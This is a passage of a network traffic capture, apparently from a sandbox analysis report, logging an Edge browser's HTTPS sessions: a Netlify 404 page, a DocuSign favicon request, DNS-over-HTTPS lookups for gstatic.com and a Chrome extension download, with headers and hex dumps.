content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <title>Page Not Found</title> <link href='https://fonts.googleapis.com
2024-12-12 11:09:29 UTC	717	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 68 72 3e 3c 70 3e 49 66 20 74 68 69 73 20 69 73 20 79 6f 75 72 20 73 69 74 65 2c 20 61 6e 64 20 79 6f 75 20 77 65 72 65 6e 27 74 20 65 78 70 65 63 74 69 6e 67 20 61 20 34 30 34 20 66 6f 72 20 74 68 69 73 20 70 61 74 68 2c 20 70 6c 65 61 73 65 20 76 69 73 69 74 20 4e 65 74 6c 69 66 79 27 73 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6e 73 77 65 72 73 2e 6e 65 74 6c 69 66 79 2e 63 6f 6d 2f 74 2f 73 75 70 70 6f 72 74 2d 67 75 69 64 65 2d 69 2d 76 65 2d 64 65 70 6c 6f 79 65 64 2d 6d 79 2d 73 69 74 65 2d 62 75 74 2d 69 2d 73 74 69 6c 6c 2d 73 65 65 2d 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 2f 31 32 35 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 34 30 34 70 61 67 65 26 Data Ascii: > </p> <hr><p>If this is your site, and you weren't expecting a 404 for this path, please visit Netlify's <a href="https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125?utm_source=404page&
2024-12-12 11:09:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49745	3.33.186.135	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:32 UTC	668	OUT	GET /favicon.ico HTTP/1.1 Host: www.docusign.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-12 11:09:33 UTC	407	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6481 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 9662 Content-Type: image/vnd.microsoft.icon Date: Thu, 12 Dec 2024 11:09:32 GMT Etag: "84a1a7e7e8f932ecc95c7c3cbbc0e98a-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000 X-Nf-Request-Id: 01JEX8YJACP7XE7AY44CXYJ44S Connection: close
2024-12-12 11:09:33 UTC	779	IN	Data Raw: 00 00 01 00 01 00 30 30 00 00 01 00 20 00 a8 25 00 00 16 00 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 20 00 00 00 00 00 00 24 00 00 13 0b 00 00 13 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00 %(0` $
2024-12-12 11:09:33 UTC	2372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-12 11:09:33 UTC	538	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4d 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff bf 00 39 ff Data Ascii: LLLLLLLLLLLLLLLLLLLLLLM`LLLLLLLLL9
2024-12-12 11:09:33 UTC	4744	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff ff 00 4c ff 9f 00 30 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 33 33 a0 ff 52 52 ff ff 52 52 ff ff 52 52 ff ff 52 52 ff ef 54 54 ff 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 Data Ascii: LLLLLLLL033RRRRRRRRTT@
2024-12-12 11:09:33 UTC	1229	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49763	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 11:09:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 11:09:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 11:09:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0d434d18dbc34b-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 11:09:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49764	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 11:09:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 11:09:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 11:09:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0d434d1f02437f-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 11:09:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c0 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49766	162.159.61.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 11:09:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 11:09:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 11:09:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0d434fcfde5e74-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 11:09:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 dc 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49771	172.64.41.3	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 11:09:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49765	172.217.19.193	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:34 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-12 11:09:34 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4IQxV4q3j7O5WaAop-zN-nbICjYs5JCDxYQQTJdLHwfq1yHey8LncGkDjHls6iyR7xt5E X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 11 Dec 2024 16:45:00 GMT Expires: Thu, 11 Dec 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 66274 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-12 11:09:34 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
